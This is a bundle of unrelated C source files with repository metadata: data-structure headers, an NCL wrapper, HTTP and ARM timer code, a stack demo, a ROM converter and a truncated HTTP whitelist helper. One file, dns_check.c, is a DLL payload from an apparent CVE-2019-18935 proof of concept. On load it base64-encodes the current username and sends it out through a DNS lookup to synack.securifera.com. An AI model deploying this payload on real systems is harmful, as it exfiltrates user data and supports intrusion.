"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/include/sll.h",
"provenance": "stackv2-0115.json.gz:147359",
"repo_name": "Benardi/sibylline",
"revision_date": "2023-03-25T20:00:21",
"revision_id": "f032af478ab070b35e978311cefdea56b299f02e",
"snapshot_id": "578629d024c045e859f139f897355627f37155d6",
"src_encoding": "UTF-8",
"star_events_count": 12,
"url": "https://raw.githubusercontent.com/Benardi/sibylline/f032af478ab070b35e978311cefdea56b299f02e/src/include/sll.h",
"visit_date": "2023-04-06T18:13:36.606723"
} | stackv2 | /**
* @file sll.h
* @author Benardi Nunes <benardinunes@gmail.com>
* @date 7 Jan 2020
* @brief Header file for Singly Linked List module.
*
* Defines the struct SinglyLinkedList and the prototypes for the
* routines of the SinglyLinkedList module.
*/
#ifndef SLL_H
#define SLL_H
#include <register.h>
#include <stddef.h>
typedef struct SinglyLinkedList
{
struct SinglyLinkedList* next;
Register data;
} SinglyLinkedList;
/** @brief Inserts node at front of Singly Linked List.
*
* Inserts node at front of Singly Linked List. If other nodes already exist
* in list new node becomes new head and existing nodes are linked to new one.
* Returns pointer to added node and updates double pointer with new head of
* the Singly Linked List.
*
* @param head Double pointer to head of Singly Linked List.
* @param reg Register of inserted node.
* @return Pointer to inserted node.
*/
SinglyLinkedList* sll_insert(SinglyLinkedList** head, Register reg);
/** @brief Retrieves node from Singly Linked List via key.
*
* Iterates sequentially over Singly Linked List. If node with given key
* exists returns pointer to it, otherwise returns @c NULL. The employed
* compare function must receive two union Keys as parameters and return
* an integer as result. If first parameter is bigger it should return 1, if
* first parameter is smaller it should return -1, if it's the same as the
* second parameter it should return 0.
*
* @param head Double pointer to head of Singly Linked List.
* @param key Key for Register of inserted node.
* @param compare Pointer to function that compares two union Keys.
* @return Pointer to retrieved node.
*/
SinglyLinkedList* sll_search(SinglyLinkedList** head, union Key key,
int (*compare)(union Key, union Key));
/** @brief Deletes given node from Singly Linked List.
*
* Removes a node given via pointer from Singly Linked List. List is amended
* to make up for absence of removed node. Allocated memory for node pointer
* is not freed. It's up to the user to free memory allocated to pointer.
*
* @param head Double pointer to head of Singly Linked List.
* @param to_remove Pointer to node to be removed.
* @return Void
*/
void sll_delete(SinglyLinkedList** head, SinglyLinkedList* to_remove);
#endif
| 3 | 3 |
2024-11-18T22:26:00.018213+00:00 | 2022-05-11T16:01:03 | baf482016b00e873c964ef247d7c7461312abc22 | {
"blob_id": "baf482016b00e873c964ef247d7c7461312abc22",
"branch_name": "refs/heads/develop",
"committer_date": "2022-05-11T16:01:03",
"content_id": "c539408ab7aa1828093bd602214957dc7e4c5e45",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "19a9f2c19bcb81c4a14ba17831d3098de7731fb5",
"extension": "c",
"filename": "mlegevW.c",
"fork_events_count": 68,
"gha_created_at": "2016-09-01T01:34:28",
"gha_event_created_at": "2022-10-08T07:20:06",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 67087395,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5667,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/ni/src/lib/nfp/mlegevW.c",
"provenance": "stackv2-0115.json.gz:147489",
"repo_name": "NCAR/ncl",
"revision_date": "2022-05-11T16:01:03",
"revision_id": "8a96101fe14d0cf0f5ed66a5e6b1733084bc69df",
"snapshot_id": "243c30eaefce642d53373aa583b73df72eb59f22",
"src_encoding": "UTF-8",
"star_events_count": 254,
"url": "https://raw.githubusercontent.com/NCAR/ncl/8a96101fe14d0cf0f5ed66a5e6b1733084bc69df/ni/src/lib/nfp/mlegevW.c",
"visit_date": "2023-03-17T07:53:18.883458"
} | stackv2 | #include <stdio.h>
#include "wrapper.h"
extern void NGCALLF(dmlegevi,DMLEGEVI)(double *, int *, double *, double *,
double *, int *);
NhlErrorTypes extval_mlegev_W( void )
{
/*
* Input variables
*/
/*
* Argument # 0
*/
void *x;
double *tmp_x = NULL;
int ndims_x;
ng_size_t dsizes_x[NCL_MAX_DIMENSIONS];
int has_missing_x;
NclScalar missing_x, missing_flt_x, missing_dbl_x;
NclBasicDataTypes type_x;
/*
* Argument # 1
*/
int *dims;
ng_size_t dsizes_dims[1];
/*
* Argument # 2
*/
logical *opt;
/*
* Return variable
*/
void *vals;
double tmp_vals[6];
int ndims_vals;
ng_size_t *dsizes_vals;
NclScalar missing_vals;
NclBasicDataTypes type_vals;
/*
* Various
*/
double *tmp_xx;
ng_size_t i, j, size_output, nl, nr, nx, nrnx, nr6;
ng_size_t index_nrx, index_nrv, index_x, index_v;
int inx, ndims, ierr, ret;
/*
* Retrieve parameters.
*
* Note any of the pointer parameters can be set to NULL, which
* implies you don't care about its value.
*/
/*
* Get argument # 0
*/
x = (void*)NclGetArgValue(
0,
3,
&ndims_x,
dsizes_x,
&missing_x,
&has_missing_x,
&type_x,
DONT_CARE);
/*
* Coerce missing value to double if necessary.
*/
coerce_missing(type_x,has_missing_x,&missing_x,
&missing_dbl_x,&missing_flt_x);
/*
* Get argument # 1
*/
dims = (int*)NclGetArgValue(
1,
3,
NULL,
dsizes_dims,
NULL,
NULL,
NULL,
DONT_CARE);
ndims = dsizes_dims[0];
/*
* Make sure input dimensions are valid.
*/
if(ndims > ndims_x) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: Invalid dimension index(es) argument.");
return(NhlFATAL);
}
for(i = 0; i < ndims; i++ ) {
if(dims[i] < 0 || dims[i] >= ndims_x) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: Invalid dimension index(es) argument.");
return(NhlFATAL);
}
if(i > 0 && dims[i] != (dims[i-1]+1)) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: Input dimension indexes must be monotonically increasing, can't continue");
return(NhlFATAL);
}
}
/*
* Get argument # 2
*/
opt = (logical*)NclGetArgValue(
2,
3,
NULL,
NULL,
NULL,
NULL,
NULL,
DONT_CARE);
/*
* Calculate size of leftmost dimensions (nl) up to the dims[0]-th
* dimensions.
* Calculate size of rightmost dimensions (nr) from the
* ndims[ndims-1]-th dimension
* Calculate size of "dims" dimensions (nm)
*
* The dimension(s) to do the calculation across are "dims".
*/
nl = nr = nx = 1;
if(ndims_x > 1) {
ndims_vals = ndims_x-ndims+1;
dsizes_vals = (ng_size_t *)NclMalloc(ndims_vals * sizeof(ng_size_t));
for(i = 0; i < dims[0] ; i++) {
nl = nl*dsizes_x[i];
dsizes_vals[i] = dsizes_x[i];
}
for(i = 0; i < ndims ; i++) {
nx = nx*dsizes_x[dims[i]];
}
for(i = dims[ndims-1]+1; i < ndims_x; i++) {
nr = nr*dsizes_x[i];
dsizes_vals[i-ndims] = dsizes_x[i];
}
dsizes_vals[ndims_vals-1] = 6;
}
else {
ndims_vals = 1;
dsizes_vals = (ng_size_t *)NclMalloc(sizeof(ng_size_t));
*dsizes_vals = 6;
nx = dsizes_x[0];
nr = nl = 1;
}
size_output = 6 * nr * nl * nx;
/*
* Check input dimension size
*/
if(nx > INT_MAX) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: nx = %ld is greater than INT_MAX", nx);
return(NhlFATAL);
}
inx = (int) nx;
/*
* Allocate space for tmp_x.
*/
tmp_x = (double *)calloc(nx,sizeof(double));
if(tmp_x == NULL) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: Unable to allocate memory for coercing input array to double");
return(NhlFATAL);
}
/*
* Allocate space for output array. Also figure out output missing
* value. Use default one if necessary.
*/
if(type_x != NCL_double) {
type_vals = NCL_float;
vals = (void *)calloc(size_output, sizeof(float));
missing_vals = missing_flt_x;
}
else {
type_vals = NCL_double;
vals = (void *)calloc(size_output, sizeof(double));
missing_vals = missing_dbl_x;
}
if(vals == NULL) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: Unable to allocate memory for output array");
return(NhlFATAL);
}
/*
* Allocate space for work arrays.
*/
tmp_xx = (double *)NclMalloc(nx*sizeof(double));
if(tmp_xx == NULL) {
NhlPError(NhlFATAL,NhlEUNKNOWN,"extval_mlegev: Unable to allocate memory for work array");
return(NhlFATAL);
}
/*
* Loop through leftmost and rightmost dimensions and call Fortran code.
*/
nrnx = nr * nx;
nr6 = nr * 6;
for(i = 0; i < nl; i++) {
index_nrx = i*nrnx;
index_nrv = i*nr6;
for(j = 0; j < nr; j++) {
index_x = index_nrx + j;
index_v = index_nrv + (j*6);
/*
* Coerce subsection of x (tmp_x) to double.
*/
coerce_subset_input_double_step(x,tmp_x,index_x,nr,type_x,
nx,0,NULL,NULL);
/*
* Call the Fortran routine.
*/
NGCALLF(dmlegevi,DMLEGEVI)(tmp_x, &inx, &missing_dbl_x.doubleval,
tmp_vals, tmp_xx, &ierr);
/*
* Coerce tmp_vals back into vals.
*/
coerce_output_float_or_double(vals,&tmp_vals[0],type_vals,6,index_v);
}
}
/*
* Free unneeded memory.
*/
if(type_x != NCL_double) NclFree(tmp_x);
NclFree(tmp_xx);
/*
* Return value back to NCL script.
*/
ret = NclReturnValue(vals,ndims_vals,dsizes_vals,&missing_vals,type_vals,0);
NclFree(dsizes_vals);
return(ret);
}
| 2.328125 | 2 |
2024-11-18T22:26:00.429965+00:00 | 2023-08-26T18:52:14 | be5135627a77436d72a22dcd5f19b699a363faf4 | {
"blob_id": "be5135627a77436d72a22dcd5f19b699a363faf4",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-26T18:52:14",
"content_id": "eb4d9256e723d966d81242be92812ab502002b83",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "2d5743a0cc3b0ca82856d12e5576949868630031",
"extension": "h",
"filename": "http.h",
"fork_events_count": 22,
"gha_created_at": "2015-05-22T07:05:37",
"gha_event_created_at": "2023-08-29T18:49:29",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 36057493,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2484,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/libcperciva/http/http.h",
"provenance": "stackv2-0115.json.gz:147620",
"repo_name": "Tarsnap/kivaloo",
"revision_date": "2023-08-26T18:52:14",
"revision_id": "1b4fffe65e8bdc789cb47a6191b4df33613a98e0",
"snapshot_id": "20dfd70438375c7b8f8ea00a928b87c9299ae8be",
"src_encoding": "UTF-8",
"star_events_count": 207,
"url": "https://raw.githubusercontent.com/Tarsnap/kivaloo/1b4fffe65e8bdc789cb47a6191b4df33613a98e0/libcperciva/http/http.h",
"visit_date": "2023-09-03T01:26:01.625376"
} | stackv2 | #ifndef HTTP_H_
#define HTTP_H_
#include <stddef.h>
#include <stdint.h>
/* Opaque type. */
struct sock_addr;
/* One HTTP header. */
struct http_header {
const char * header;
const char * value;
};
/* Request data. */
struct http_request {
const char * method;
const char * path;
size_t nheaders;
struct http_header * headers;
size_t bodylen;
const uint8_t * body;
};
/* Response data. */
struct http_response {
int status;
size_t nheaders;
struct http_header * headers; /* May be NULL if nheaders == 0. */
size_t bodylen;
uint8_t * body;
};
/**
* http_request(addrs, request, maxrlen, callback, cookie):
* Open a connection to ${addrs} and send the HTTP request ${request}. Read a
* response with a body of up to ${maxrlen} bytes and invoke the provided
* callback as ${callback}(${cookie}, ${response}), with response == NULL if
* no response was read (e.g., on connection error). Return a cookie which can
* be passed to http_request_cancel().
*
* If the response has no body, the response structure will have bodylen == 0
* and body == NULL; if there is a body larger than ${maxrlen} bytes, the
* response structure will have bodylen == (size_t)(-1) and body == NULL.
* The callback is responsible for freeing the response body buffer (if any),
* but not the rest of the response; it must copy any header strings before it
* returns. The provided request body buffer (if any) must remain valid until
* the callback is invoked.
*/
void * http_request(struct sock_addr * const *, struct http_request *, size_t,
int (*)(void *, struct http_response *), void *);
/**
* https_request(addrs, request, maxrlen, callback, cookie, hostname):
* Behave as http_request(), but use HTTPS and verify that the target host is
* ${hostname}.
*/
void * https_request(struct sock_addr * const *, struct http_request *,
size_t, int (*)(void *, struct http_response *), void *, const char *);
/**
* http_request_cancel(cookie):
* Cancel the HTTP request for which ${cookie} was returned by http_request().
* Do not invoke the associated callback function.
*/
void http_request_cancel(void *);
/**
* http_findheader(headers, nheaders, header):
* Search for ${header} in the ${nheaders} header structures ${headers}.
* Return a pointer to the associated value or NULL if it is not found.
* If ${nheaders} is zero, then ${headers} may be NULL.
*/
const char * http_findheader(struct http_header *, size_t, const char *);
#endif /* !HTTP_H_ */
| 2.390625 | 2 |
2024-11-18T22:26:01.443983+00:00 | 2017-10-10T18:01:21 | 58c6114e1912dde8039c0ba7e29c9934a0ffe771 | {
"blob_id": "58c6114e1912dde8039c0ba7e29c9934a0ffe771",
"branch_name": "refs/heads/master",
"committer_date": "2017-10-10T18:01:21",
"content_id": "2237d9156eb4a5cb89f30a8ce7944cd648963393",
"detected_licenses": [
"MIT"
],
"directory_id": "d2f94aae3a2f1f4958ae9fbbfdf96cdc57dae71a",
"extension": "h",
"filename": "display_manager.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1264,
"license": "MIT",
"license_type": "permissive",
"path": "/tools/signal-viewer/include/display_manager.h",
"provenance": "stackv2-0115.json.gz:148139",
"repo_name": "jonlamb-gh/hobd-module",
"revision_date": "2017-10-10T18:01:21",
"revision_id": "226721ebf81d8605b0e9d2aa285766086929152f",
"snapshot_id": "0bbe89e1ced69cec8b7035c74b0ce6144e7c3660",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jonlamb-gh/hobd-module/226721ebf81d8605b0e9d2aa285766086929152f/tools/signal-viewer/include/display_manager.h",
"visit_date": "2021-07-15T12:56:12.464223"
} | stackv2 | /**
* @file display_manager.h
* @brief TODO.
*
*/
#ifndef DISPLAY_MANAGER_H
#define DISPLAY_MANAGER_H
#include <signal.h>
#include "gl_headers.h"
#include "time_domain.h"
#include "signal_table.h"
#include "config.h"
//
#define DM_WINDOW_ID_INVALID (-1)
// 33 ms ~= 30 FPS
#define DM_REDRAW_INTERVAL (33ULL)
/**
* @brief Display manager context data.
*
*/
typedef struct
{
//
//
int gl_argc; /*!< GL argument count. */
//
//
char **gl_argv; /*!< GL arugment list. */
//
//
GLenum gl_error; /*!< GL error value. */
//
//
int win_id; /*!< Window identifier.
* Value \ref GUI_WINDOW_ID_INVALID means invalid. */
//
// monotonic
timestamp_ms last_redraw_time;
//
//
st_state_s st_state;
//
//
sig_atomic_t *exit_signal_ptr;
//
//
config_s config;
} dm_context_s;
//
dm_context_s * dm_get_context( void );
//
int dm_init(
const char * const window_title,
const unsigned long window_width,
const unsigned long window_height,
sig_atomic_t * const exit_signal );
//
void dm_release( void );
//
void dm_update(
timestamp_ms * const time_to_redraw );
#endif /* DISPLAY_MANAGER_H */
| 2.1875 | 2 |
2024-11-18T22:26:01.701863+00:00 | 2023-08-27T19:14:02 | 80c382ba12b9dc75a83b3ba285e47c198aef2a72 | {
"blob_id": "80c382ba12b9dc75a83b3ba285e47c198aef2a72",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-27T19:14:02",
"content_id": "893125a11185ce1b21f3e1438398690902d53641",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "7c857119fe1505b1d80d6e62969661c06dc1a2f4",
"extension": "c",
"filename": "ArmGenericTimerVirtCounterLib.c",
"fork_events_count": 770,
"gha_created_at": "2019-09-02T08:22:14",
"gha_event_created_at": "2023-09-03T12:41:33",
"gha_language": "C",
"gha_license_id": "BSD-2-Clause",
"github_id": 205810121,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1675,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/ArmPkg/Library/ArmGenericTimerVirtCounterLib/ArmGenericTimerVirtCounterLib.c",
"provenance": "stackv2-0115.json.gz:148267",
"repo_name": "CloverHackyColor/CloverBootloader",
"revision_date": "2023-08-27T19:14:02",
"revision_id": "2711170df4f60b2ae5aa20add3e00f35cf57b7e5",
"snapshot_id": "7042ca7dd6b513d22be591a295e49071ae1482ee",
"src_encoding": "UTF-8",
"star_events_count": 4734,
"url": "https://raw.githubusercontent.com/CloverHackyColor/CloverBootloader/2711170df4f60b2ae5aa20add3e00f35cf57b7e5/ArmPkg/Library/ArmGenericTimerVirtCounterLib/ArmGenericTimerVirtCounterLib.c",
"visit_date": "2023-08-30T22:14:34.590134"
} | stackv2 | /** @file
Copyright (c) 2011 - 2014, ARM Ltd. All rights reserved.<BR>
Copyright (c) 2014, Linaro Ltd. All rights reserved.<BR>
SPDX-License-Identifier: BSD-2-Clause-Patent
**/
#include <Library/ArmGenericTimerCounterLib.h>
#include <Library/ArmLib.h>
VOID
EFIAPI
ArmGenericTimerEnableTimer (
VOID
)
{
UINTN TimerCtrlReg;
TimerCtrlReg = ArmReadCntvCtl ();
TimerCtrlReg |= ARM_ARCH_TIMER_ENABLE;
ArmWriteCntvCtl (TimerCtrlReg);
}
VOID
EFIAPI
ArmGenericTimerReenableTimer (
VOID
)
{
}
VOID
EFIAPI
ArmGenericTimerDisableTimer (
VOID
)
{
UINTN TimerCtrlReg;
TimerCtrlReg = ArmReadCntvCtl ();
TimerCtrlReg &= ~ARM_ARCH_TIMER_ENABLE;
ArmWriteCntvCtl (TimerCtrlReg);
}
VOID
EFIAPI
ArmGenericTimerSetTimerFreq (
IN UINTN FreqInHz
)
{
ArmWriteCntFrq (FreqInHz);
}
UINTN
EFIAPI
ArmGenericTimerGetTimerFreq (
VOID
)
{
return ArmReadCntFrq ();
}
UINTN
EFIAPI
ArmGenericTimerGetTimerVal (
VOID
)
{
return ArmReadCntvTval ();
}
VOID
EFIAPI
ArmGenericTimerSetTimerVal (
IN UINTN Value
)
{
ArmWriteCntvTval (Value);
}
UINT64
EFIAPI
ArmGenericTimerGetSystemCount (
VOID
)
{
return ArmReadCntvCt ();
}
UINTN
EFIAPI
ArmGenericTimerGetTimerCtrlReg (
VOID
)
{
return ArmReadCntvCtl ();
}
VOID
EFIAPI
ArmGenericTimerSetTimerCtrlReg (
UINTN Value
)
{
ArmWriteCntvCtl (Value);
}
UINT64
EFIAPI
ArmGenericTimerGetCompareVal (
VOID
)
{
return ArmReadCntvCval ();
}
VOID
EFIAPI
ArmGenericTimerSetCompareVal (
IN UINT64 Value
)
{
ArmWriteCntvCval (Value);
}
| 2.234375 | 2 |
2024-11-18T22:26:02.498364+00:00 | 2020-01-21T20:53:19 | 54bf66e7c1c8b3113a721919805bc69036870be6 | {
"blob_id": "54bf66e7c1c8b3113a721919805bc69036870be6",
"branch_name": "refs/heads/master",
"committer_date": "2020-01-21T20:53:19",
"content_id": "61dcbbb61ec25c26cbf5678feeeb1eaf37db3cbc",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "561e2656e31c00f92ffb7ed130e2011db777f79e",
"extension": "c",
"filename": "dns_check.c",
"fork_events_count": 0,
"gha_created_at": "2020-01-21T19:39:17",
"gha_event_created_at": "2020-01-21T19:39:18",
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 235426418,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1803,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/dns_check.c",
"provenance": "stackv2-0115.json.gz:148395",
"repo_name": "rwincey/CVE-2019-18935",
"revision_date": "2020-01-21T20:53:19",
"revision_id": "1a5a55045fc07ba40c4e442327dfd755888c151e",
"snapshot_id": "8df5ecbe3458386724d6dfc69f83f4dd967ca9f2",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/rwincey/CVE-2019-18935/1a5a55045fc07ba40c4e442327dfd755888c151e/dns_check.c",
"visit_date": "2020-12-18T14:48:31.855622"
} | stackv2 | #include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <WinCrypt.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "Advapi32.lib")
#define HOST "synack.securifera.com"
char * b64_encode( char *inp_ptr, DWORD in_len )
{
DWORD dwSize = 0;
char *outputBuffer = NULL;
if (!CryptBinaryToString(inp_ptr, in_len, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &dwSize)) {
return NULL;
}
dwSize++;
outputBuffer = (char *)malloc(dwSize);
if(!CryptBinaryToString(inp_ptr, in_len, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, outputBuffer, &dwSize)) {
return NULL;
}
return outputBuffer;
}
DWORD WINAPI MainThread(LPVOID lpParam)
{
struct hostent *host;
char dns[MAX_PATH];
char sub[MAX_PATH];
char *output;
unsigned short ret_len = 0;
unsigned short mod_len = 0;
DWORD user_len = 0;
memset(dns, 0, MAX_PATH);
memset(sub, 0, MAX_PATH);
//Get hostname
//ret_len = gethostname(sub, MAX_PATH);
//Get current username
user_len = MAX_PATH;
GetUserName(sub, &user_len);
ret_len = strlen(sub);
mod_len = ret_len % 3;
if( mod_len == 1)
strcat(sub, " ");
else if(mod_len == 2)
strcat(sub, " ");
//strcpy(sub, "test ");
output = b64_encode(sub, strlen(sub));
if( output != NULL && strlen(output) < MAX_PATH){
strcpy(dns, output);
strcat(dns, ".");
} else {
strcpy(dns, "err.");
}
strcat(dns, HOST);
host = gethostbyname(dns);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
HANDLE hThread;
struct hostent *host;
if (fdwReason == DLL_PROCESS_ATTACH){
Sleep(2000); // Time interval in milliseconds.
hThread = CreateThread(0, 0, MainThread, 0, 0, 0);
Sleep(2000); // Time interval in milliseconds.
}
return TRUE;
}
| 2.375 | 2 |
2024-11-18T22:26:03.270855+00:00 | 2017-08-07T12:15:45 | 3fe1b4b42bb2ce289ee0e60e1b7b2bac2f149a3f | {
"blob_id": "3fe1b4b42bb2ce289ee0e60e1b7b2bac2f149a3f",
"branch_name": "refs/heads/master",
"committer_date": "2017-08-07T12:15:45",
"content_id": "bcb4f5bd827828dbf4bc60acd672a8309c7e5dea",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "46de983bfef87d224548e14878ca884a8195cee0",
"extension": "c",
"filename": "例3-1 main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 689,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/数据结构与算法(C语言)/第3章/chapter03/例3-1 main.c",
"provenance": "stackv2-0115.json.gz:149044",
"repo_name": "rtk4616/C_Plus_Plus_Projects",
"revision_date": "2017-08-07T12:15:45",
"revision_id": "32bdfa0729bbc8410a54c54521984e0c9503d128",
"snapshot_id": "b06459ef71d640f029f9702eb535d04b56943789",
"src_encoding": "GB18030",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/rtk4616/C_Plus_Plus_Projects/32bdfa0729bbc8410a54c54521984e0c9503d128/数据结构与算法(C语言)/第3章/chapter03/例3-1 main.c",
"visit_date": "2020-03-12T22:45:07.712299"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include "seqstack.h"
int main()
{
srand((unsigned)time(0)); //以时间为种子产生随机
SeqStack stack; //创建一个顺序栈
InitStack(&stack); //初始化栈
//向栈中添加元素
for (int i = 0; i < 50; i++)
{
SeqStack_Push(&stack, rand() % 1000); //添加的是随机产生的数
}
//获取栈顶元素
printf("栈顶元素:%d\n", SeqStack_Top(&stack));
//打印栈中元素
printf("栈中的元素:");
for (int i = 0; i < 50; i++)
{
if (i % 5 == 0)
printf("\n"); //每5个元素一行
printf("%d ", SeqStack_Pop(&stack)); //依次将栈顶元素弹出
}
printf("\n");
system("pause");
return 0;
}
| 3.359375 | 3 |
2024-11-18T22:26:03.472409+00:00 | 2020-11-02T19:41:33 | cf78490f6d27d483f52d2b5a5e808695601d8af4 | {
"blob_id": "cf78490f6d27d483f52d2b5a5e808695601d8af4",
"branch_name": "refs/heads/main",
"committer_date": "2020-11-02T19:41:33",
"content_id": "9971ee772080d951b5ba954090d3e0fc6e160bea",
"detected_licenses": [
"Unlicense"
],
"directory_id": "789a7a181f86ca28232c75fd0e2c9bbcd6e1cbc9",
"extension": "c",
"filename": "rom2h.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 309469645,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 902,
"license": "Unlicense",
"license_type": "permissive",
"path": "/tests/blargg_cpu_instrs/rom2h.c",
"provenance": "stackv2-0115.json.gz:149302",
"repo_name": "ITotalJustice/LR35902",
"revision_date": "2020-11-02T19:41:33",
"revision_id": "6fae9ca80f5e311bce9e21ae7655d14a133a2e2b",
"snapshot_id": "c0c58dea7e2afdc863c2e84c6549c82732d10bbf",
"src_encoding": "UTF-8",
"star_events_count": 5,
"url": "https://raw.githubusercontent.com/ITotalJustice/LR35902/6fae9ca80f5e311bce9e21ae7655d14a133a2e2b/tests/blargg_cpu_instrs/rom2h.c",
"visit_date": "2023-01-13T18:24:15.360250"
} | stackv2 | #include <stdio.h>
int main(int argc, char** argv) {
int i;
unsigned char buffer[0x10000] = {0};
FILE* file;
(void)argc; (void)argv;
file = fopen("cpu_instrs.gb", "rb");
if (!file) {
perror("failed to open cpu_instrs.gb\n");
return -1;
}
fread(buffer, sizeof(buffer), 1, file);
fclose(file);
file = fopen("cpu_instrs.h", "wb");
if (!file) {
perror("failed to open cpu_instrs.h\n");
return -1;
}
fputs("#ifndef CPU_INSTRS_ROM_H\n#define CPU_INSTRS_ROM_H\n", file);
fputs("\nstatic unsigned char CPU_INSTRS_ROM[] = {", file);
for (i = 0; i < sizeof(buffer); i++) {
if ((i % 0x10) == 0) {
fputs("\n\t", file);
}
fprintf(file, "0x%02X,", buffer[i]);
}
fputs("\n};\n", file);
fputs("\n#endif /* CPU_INSTRS_ROM_H */\n", file);
fclose(file);
return 0;
}
| 2.53125 | 3 |
2024-11-18T22:26:04.193168+00:00 | 2016-01-04T16:06:35 | 354f15acd0200ef7d2c44d1e02d79a253f638d4a | {
"blob_id": "354f15acd0200ef7d2c44d1e02d79a253f638d4a",
"branch_name": "refs/heads/master",
"committer_date": "2016-01-04T16:06:35",
"content_id": "6da79e7362cd37b2efb22fffdafd0ca6e2f714fc",
"detected_licenses": [
"MIT"
],
"directory_id": "2d65f674af1bc2773870fdbaf3d2feecf5033de2",
"extension": "c",
"filename": "host.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4146,
"license": "MIT",
"license_type": "permissive",
"path": "/common/host.c",
"provenance": "stackv2-0115.json.gz:150081",
"repo_name": "bbrui/module-http-whitelist",
"revision_date": "2016-01-04T16:06:35",
"revision_id": "69c998138d6e4f04db58822fb1ca6f8fed24607c",
"snapshot_id": "a9d10ccc1905961d766588548a78ed39379aa3be",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/bbrui/module-http-whitelist/69c998138d6e4f04db58822fb1ca6f8fed24607c/common/host.c",
"visit_date": "2021-06-01T06:02:33.061493"
} | stackv2 | /*
* host.c
*
* Created on: 2015年3月16日
* Author: Fifi Lyu
*/
#include "host.h"
#include "../issue.h"
#include "file.h"
#include "misc.h"
// 此代码不会修改 tcp_data 指针指向的值
bool get_http_host(unsigned char *tcp_data, char **host) {
static const char *HEADER_HOST_TITLE_ = "\nHost: ";
static size_t HEADER_HOST_TITLE_SIZE_ = 7;
char *start_pos_ = NULL;
char *end_pos_ = NULL;
size_t size_ = 0;
// [:端口号] 表示可能会出现
// \n
// Host: abc.com[:80]\r\n
// Accept: */*\r\n
// \r\n
start_pos_ = strstr(tcp_data, HEADER_HOST_TITLE_);
if (!start_pos_ || strlen(start_pos_) <= HEADER_HOST_TITLE_SIZE_)
return false;
// \n
// Host: abc.com[:80]
if (NULL == (end_pos_ = strchr(start_pos_, '\r')))
return false;
// abc.com[:80]
start_pos_ += strlen(HEADER_HOST_TITLE_);
size_ = strlen(start_pos_) - strlen(end_pos_);
// abc.com:80 -> abc.com
// 处理 Host 值中的端口号 {
// 如果不复制并设置'\0',查找端口号的位置会不准确
*host = (char*) kmalloc(size_ + NULL_BYTE_SIZE, GFP_ATOMIC);
memcpy(*host, start_pos_, size_);
(*host)[size_] = '\0';
if (NULL != (end_pos_ = strchr(*host, ':'))) {
// 减去 :80 的长度
size_ -= strlen(end_pos_);
(*host)[size_] = '\0';
}
// }
return true;
}
// GET / HTTP/1.1\r\n
// User-Agent: curl/7.41.0\r\n
// Host: abc.com\r\n
// Accept: */*\r\n
// \r\n
bool check_http_header(unsigned char *tcp_data) {
const size_t data_size_ = strlen(tcp_data);
if(data_size_ < 8) {
if (DEBUG)
pr_info("[%s] Not HTTP header, skip...\n", MODOUBLE_NAME);
return false;
}
if (memcmp(tcp_data, "GET ", 4) == 0) {
return true;
} else if (memcmp(tcp_data, "POST ", 5) == 0) {
return true;
} else if (memcmp(tcp_data, "OPTIONS ", 8) == 0) {
return true;
} else if (memcmp(tcp_data, "HEAD ", 5) == 0) {
return true;
} else if (memcmp(tcp_data, "PUT ", 4) == 0) {
return true;
} else if (memcmp(tcp_data, "DELETE ", 7) == 0) {
return true;
} else if (memcmp(tcp_data, "CONNECT ", 8) == 0) {
return true;
}
if (DEBUG)
pr_info("[%s] Not HTTP header, skip...\n", MODOUBLE_NAME);
return false;
}
bool cmp_host(char *request_host, char *host) {
char *cut_request_host_ = NULL;
